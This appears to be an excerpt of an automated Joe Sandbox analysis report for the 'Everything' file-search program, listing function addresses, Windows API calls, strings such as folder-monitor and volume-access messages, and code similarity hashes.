Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$Enter$Leave$EventObjectSingleWait
String ID: resume ntfs monitor %d
API String ID: 3210851982-1436612856
Opcode ID: 14a05e452d1075a6521d7e6656662921210bd9c0d285e9ab8549614146580361
Instruction ID: 06c8011f104df769c9b00adef6ac905b36d3ffcc10c0e867234039d07ab198dd
Opcode Fuzzy Hash: 14a05e452d1075a6521d7e6656662921210bd9c0d285e9ab8549614146580361
Instruction Fuzzy Hash: 83415E36508B8682D750CF61E4406AD7365FB84BA8F180231DFAE87B99DF38D465DB40

Function 00007FF63D4807E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF63D480800
GetTickCount.KERNEL32 ref: 00007FF63D480820
LeaveCriticalSection.KERNEL32 ref: 00007FF63D48083C
EnterCriticalSection.KERNEL32 ref: 00007FF63D480850
GetTickCount.KERNEL32 ref: 00007FF63D480870
LeaveCriticalSection.KERNEL32 ref: 00007FF63D48088C
SetEvent.KERNEL32 ref: 00007FF63D480899

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$CountEnterLeaveTick$Event
String ID:
API String ID: 1784581420-0
Opcode ID: 2e96373affcaed00a7f781a60d025cf9f52ebf7412d5493434d6f9274cf9b190
Instruction ID: 354739bf1a44d64d8ab2376d4e7b33bbe148b2d8d29b4461d205c35386c8b814
Opcode Fuzzy Hash: 2e96373affcaed00a7f781a60d025cf9f52ebf7412d5493434d6f9274cf9b190
Instruction Fuzzy Hash: AD215B21A55B8AC6EB988FA1D4443B97760FF85B88F080031CB5D83356EF3DD4A4E780

Function 00007FF63D4BBA80 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 209timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D480B80: InitializeCriticalSection.KERNEL32 ref: 00007FF63D480C1C
Part of subcall function 00007FF63D480B80: WaitForSingleObject.KERNEL32 ref: 00007FF63D480C86
Part of subcall function 00007FF63D480B80: EnterCriticalSection.KERNEL32 ref: 00007FF63D480C91
Part of subcall function 00007FF63D480B80: PostMessageW.USER32 ref: 00007FF63D480CAD
Part of subcall function 00007FF63D480B80: LeaveCriticalSection.KERNEL32 ref: 00007FF63D480CB8
Part of subcall function 00007FF63D480B80: DeleteObject.GDI32 ref: 00007FF63D480CCE
Part of subcall function 00007FF63D480B80: DeleteCriticalSection.KERNEL32 ref: 00007FF63D480CD9

EnterCriticalSection.KERNEL32 ref: 00007FF63D4BBAD5
LeaveCriticalSection.KERNEL32 ref: 00007FF63D4BBAFA
SetTimer.USER32 ref: 00007FF63D4BBDED

Strings

db_monitor_folder_read_directory_changes_update, xrefs: 00007FF63D4BBAA3
READ DIRECTORY CHANGE UPDATE %d %s, xrefs: 00007FF63D4BBBCC

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$DeleteEnterLeaveObject$InitializeMessagePostSingleTimerWait
String ID: READ DIRECTORY CHANGE UPDATE %d %s$db_monitor_folder_read_directory_changes_update
API String ID: 1224524647-3124906219
Opcode ID: bee86497297dabc08b638fa8638a10b713a7bb8a7786b7e6be4d6315837b6027
Instruction ID: 5cc5c3b2594962040cb073d523c0ebde9a01b06a8bcf0a166236eb65465f824e
Opcode Fuzzy Hash: bee86497297dabc08b638fa8638a10b713a7bb8a7786b7e6be4d6315837b6027
Instruction Fuzzy Hash: 4CA15F76A08B8A92EA698FA1D5402BD7365FB54B84F444436DBDD83B96EF3CE070D340

Function 00007FF63D4745F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 00007FF63D47465D

Strings

BZ2_bzDecompress(): %d: Failed to decompress., xrefs: 00007FF63D474739
BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream., xrefs: 00007FF63D4746DA
ReadFile(): %d: Failed to read., xrefs: 00007FF63D474721

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileRead
String ID: BZ2_bzDecompress(): %d: Failed to decompress.$BZ2_bzDecompress(): %d: Unexpected EOF in decompression stream.$ReadFile(): %d: Failed to read.
API String ID: 2738559852-2845142729
Opcode ID: 1dfd9de8a8a75b2ad6e5a080edde2225a4af8c8e7a7afe080d0f42863835be76
Instruction ID: 2a84ae0758b8b3a125e083ff7e3cb676c2673ad1f99544b6cb00f528fc51d1ea
Opcode Fuzzy Hash: 1dfd9de8a8a75b2ad6e5a080edde2225a4af8c8e7a7afe080d0f42863835be76
Instruction Fuzzy Hash: 76418036A0865A87EB208BA2F04003AB3A1FB85794F154135DBAE83B95EF3CE455E700

Function 00007FF63D555250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00007FF63D55528D
GetLastError.KERNEL32 ref: 00007FF63D5552AE
GetLastError.KERNEL32 ref: 00007FF63D5552BE

Part of subcall function 00007FF63D555070: ReadFile.KERNEL32 ref: 00007FF63D5550CA

Strings

refs sector size %d, xrefs: 00007FF63D55529B
failed to get refs drive geometry %u, xrefs: 00007FF63D5552C4

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$ControlDeviceFileRead
String ID: failed to get refs drive geometry %u$refs sector size %d
API String ID: 360950537-3604407591
Opcode ID: ca0e78d4f49f171892ca3ac016261476ce616422ba98fcc02ab5b7fa7f811e0b
Instruction ID: d86a9af94bd408177011a0130b5b900fad01e9028ab77a445b3f3eefce2ecd14
Opcode Fuzzy Hash: ca0e78d4f49f171892ca3ac016261476ce616422ba98fcc02ab5b7fa7f811e0b
Instruction Fuzzy Hash: 2211A021F18A0A85F7108FA1F48836E63A1AF55B94F544034DA2DC7B55EF3DD889AB40

Function 00007FF63D523890 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D54F550: CreateFileW.KERNEL32 ref: 00007FF63D54F5D4
Part of subcall function 00007FF63D54F550: DeviceIoControl.KERNEL32 ref: 00007FF63D54F63D
Part of subcall function 00007FF63D54F550: GetLastError.KERNEL32 ref: 00007FF63D54F647
Part of subcall function 00007FF63D54F550: CloseHandle.KERNEL32 ref: 00007FF63D54F669

GetLastError.KERNEL32(?,?,?,00007FF63D523A38,?,?,?,00007FF63D4BBE68), ref: 00007FF63D5238DA

Strings

access denied %s, xrefs: 00007FF63D523925
open service volume %s, xrefs: 00007FF63D523955
failed to open volume %s %d, xrefs: 00007FF63D52399D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID: access denied %s$failed to open volume %s %d$open service volume %s
API String ID: 1177325624-2793358219
Opcode ID: d861ce8b6750cd27805295f67c78406c996c120b65c9277477e4be6b095e0fca
Instruction ID: 63ab26f2461a613e3a759e3dd960f7f91f07a429bd84b3222b09a11ed16e4d72
Opcode Fuzzy Hash: d861ce8b6750cd27805295f67c78406c996c120b65c9277477e4be6b095e0fca
Instruction Fuzzy Hash: AC31A132E18A5A81FB408F62E4403696260EB59BB8F485235EF6D87BC9EF3CD4959700

Function 00007FF63D61A2B0 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A2BA
FlsGetValue.KERNEL32(?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A2C8
SetLastError.KERNEL32(?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A323

Part of subcall function 00007FF63D61AF80: Sleep.KERNEL32(?,?,00000000,00007FF63D619655), ref: 00007FF63D61AFD0

FlsSetValue.KERNEL32(?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A2F4

Part of subcall function 00007FF63D61A120: GetModuleHandleA.KERNEL32(?,00000000,00000000,00007FF63D61A308,?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A146
Part of subcall function 00007FF63D61A120: GetModuleHandleA.KERNEL32 ref: 00007FF63D61A189
Part of subcall function 00007FF63D61A120: GetProcAddress.KERNEL32 ref: 00007FF63D61A1D8
Part of subcall function 00007FF63D61A120: GetProcAddress.KERNEL32 ref: 00007FF63D61A1F0
Part of subcall function 00007FF63D61A120: _lock.LIBCMT ref: 00007FF63D61A238

GetCurrentThreadId.KERNEL32 ref: 00007FF63D61A308

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProcValue$CurrentSleepThread_lock
String ID:
API String ID: 571222345-0
Opcode ID: 5962a07ccfacfd71a62c5081c9f11694e3bc4dc950d308ff11f37d3ef2ab9c95
Instruction ID: dc85c448bec7bf969a56a5c7e298686b0995c532616613c516052ee8c493713d
Opcode Fuzzy Hash: 5962a07ccfacfd71a62c5081c9f11694e3bc4dc950d308ff11f37d3ef2ab9c95
Instruction Fuzzy Hash: 23017134E0971A86FB449FF2A84413922A1BF8AB64F088234D93DC73D1FE3CE805B610

Function 00007FF63D53F7E0 Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 00007FF63D53F7FA
GetLastError.KERNEL32 ref: 00007FF63D53F805

Part of subcall function 00007FF63D524180: RegisterEventSourceW.ADVAPI32 ref: 00007FF63D524247
Part of subcall function 00007FF63D524180: ReportEventW.ADVAPI32 ref: 00007FF63D524286
Part of subcall function 00007FF63D524180: DeregisterEventSource.ADVAPI32 ref: 00007FF63D52428F
Part of subcall function 00007FF63D524180: ExitProcess.KERNEL32 ref: 00007FF63D52430F

Strings

out of memory, size: %p, error: %u, xrefs: 00007FF63D53F80B
mem_virtual_alloc, xrefs: 00007FF63D53F812
.\src\mem.c, xrefs: 00007FF63D53F81D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Event$Source$AllocDeregisterErrorExitLastProcessRegisterReportVirtual
String ID: .\src\mem.c$mem_virtual_alloc$out of memory, size: %p, error: %u
API String ID: 21386849-1700956700
Opcode ID: eb4af7a54668e8aac7753c0dfa1a311765016293ed6c9a0a84dda79b76393e6d
Instruction ID: cbc954e30835d48cc7d8ac28611204da37cb564097800277a83f7bf46a386bb7
Opcode Fuzzy Hash: eb4af7a54668e8aac7753c0dfa1a311765016293ed6c9a0a84dda79b76393e6d
Instruction Fuzzy Hash: 23E0A960E1961F82FB104BA0B8056B9A320AB59789F44023ADD6D827A5EE3CD25AA700

Function 00007FF63D5DE6A0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 363timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF63D5DEA88
SystemTimeToFileTime.KERNEL32 ref: 00007FF63D5DEB34
SystemTimeToFileTime.KERNEL32 ref: 00007FF63D5DEB65

Strings

gfff, xrefs: 00007FF63D5DE9DC

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Time$FileSystem
String ID: gfff
API String ID: 2086374402-1553575800
Opcode ID: ded18b9f583fb34fa0458bf46ef20d1a5aff3ddb30c4462c599d377dd050ac7b
Instruction ID: 7237f7b81125f1c3f59abdaeae0a80a623354faa3cfd7404f6a7a0504ccd56f9
Opcode Fuzzy Hash: ded18b9f583fb34fa0458bf46ef20d1a5aff3ddb30c4462c599d377dd050ac7b
Instruction Fuzzy Hash: FFD17C868980AB06FB351B9490663F627A3DF513B1FC40033DAC9CA3D6ED1CE546E325

Function 00007FF63D545330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF63D545395
GetLastError.KERNEL32 ref: 00007FF63D5453AE
GetLastError.KERNEL32 ref: 00007FF63D5453B9

Strings

CreateFileW(): %d: Failed to open file %s, xrefs: 00007FF63D5453BF

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$CreateFile
String ID: CreateFileW(): %d: Failed to open file %s
API String ID: 1722934493-646564424
Opcode ID: 7b5a38d0e03ddd6c7b956e92fb76084c69ea077e5f11d7ebd8688186082e4d6a
Instruction ID: 8aa76de978455d60ed69197c805989afd19115e6a60485cf9fa4d89f16a873ee
Opcode Fuzzy Hash: 7b5a38d0e03ddd6c7b956e92fb76084c69ea077e5f11d7ebd8688186082e4d6a
Instruction Fuzzy Hash: 4711C422E0869986EB109FA0F4557AA6320AFC57A4F540231EE2D83BD5EE3CD404A700

Function 00007FF63D4BF800 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00007FF63D4BF83D

Part of subcall function 00007FF63D5489E0: WaitForSingleObject.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D5489ED
Part of subcall function 00007FF63D5489E0: EnterCriticalSection.KERNEL32(?,?,?,00007FF63D480C6E), ref: 00007FF63D548A03

CloseHandle.KERNEL32 ref: 00007FF63D4BF862
GetTickCount.KERNEL32 ref: 00007FF63D4BF881

Strings

stop folder monitor %s %p, xrefs: 00007FF63D4BF820

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CloseCountCriticalEnterEventHandleObjectSectionSingleTickWait
String ID: stop folder monitor %s %p
API String ID: 1053278300-1255183386
Opcode ID: c1215e91a7269c91251ea8891c7d4cabfde7b6494fe1e95529f800101c2f3329
Instruction ID: 125042db1fd56d9ef0d917fdf446d31e6e47aaf41a2621ea2042a7d17d4f2513
Opcode Fuzzy Hash: c1215e91a7269c91251ea8891c7d4cabfde7b6494fe1e95529f800101c2f3329
Instruction Fuzzy Hash: 7B219F32909F8585E7409FA1E8403A973A1FBD8BA8F184132DE9D87795EF39D0A5D310

Function 00007FF63D5595C0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32 ref: 00007FF63D5597A6

Strings

set last error %d, xrefs: 00007FF63D559796
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55965A
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55960F

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

